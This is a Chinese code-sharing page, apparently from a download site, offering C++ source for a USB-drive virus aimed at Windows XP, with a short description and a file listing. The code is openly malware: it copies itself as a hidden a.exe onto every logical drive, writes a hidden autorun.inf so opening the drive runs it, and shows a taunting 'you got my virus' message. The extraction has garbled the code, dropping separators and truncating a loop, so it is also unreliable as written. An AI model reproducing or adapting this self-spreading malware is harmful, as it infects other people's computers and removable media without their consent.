資源簡介
U盤病毒,XP系統(tǒng)有效,其他系統(tǒng)無效。作用就是進不去資源盤而已!!

代碼片段和文件信息
#include?
char*?autoRun?=?“[autorun]\
\r\nopen=a.exe\
\r\nshell\\open=打開(&O)\
\r\nshell\\open\\Command=a.exe\
\r\nshell\\explore=資源管理器(&X)\
\r\nshell\\explore\\Command=a.exe\
\r\nshellexecute=a.exe“;
void?infect(char*?pstrFilePath)
{
char?strDriveStrings[MAXBYTE]?=?{0};
DWORD?dwDriveCount?=?GetLogicalDriveStringsA(MAXBYTEstrDriveStrings);
for(int?i?=?0;?i? {
char?tagetPath[MAX_PATH]?=?{0};
strncpy(tagetPath&strDriveStrings[i]4);
strcat(tagetPath“a.exe“);
CopyFileA(pstrFilePathtagetPathfalse);
SetFileAttributesA(tagetPathFILE_ATTRIBUTE_HIDDEN);
strncpy(tagetPath&strDriveStrings[i]4);
strcat(tagetPath“autorun.inf“);
HANDLE?hFile?=?CreateFileA(tagetPathGENERIC_WRITE0NULLCREATE_ALWAYSFILE_ATTRIBUTE_HIDDENNULL);
DWORD?dwLen?=?0;
WriteFile(hFileautoRunstrlen(autoRun)&dwLenNULL);
CloseHandle(hFile);
}
}
int?main()
{
MessageBoxA(NULL“吼吼~不好意思,你中了我寫的病毒!!!““提示“MB_OK);?
char?strSelfPath[MAX_PATH]?=?{0};
GetModuleFileName(NULLstrSelfPathMAX_PATH);
infect(strSelfPath);
return?0;
}
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????文件???????1139??2017-12-09?14:33??a.cpp
-----------?---------??----------?-----??----
?????????????????1139????????????????????1
評論
共有 條評論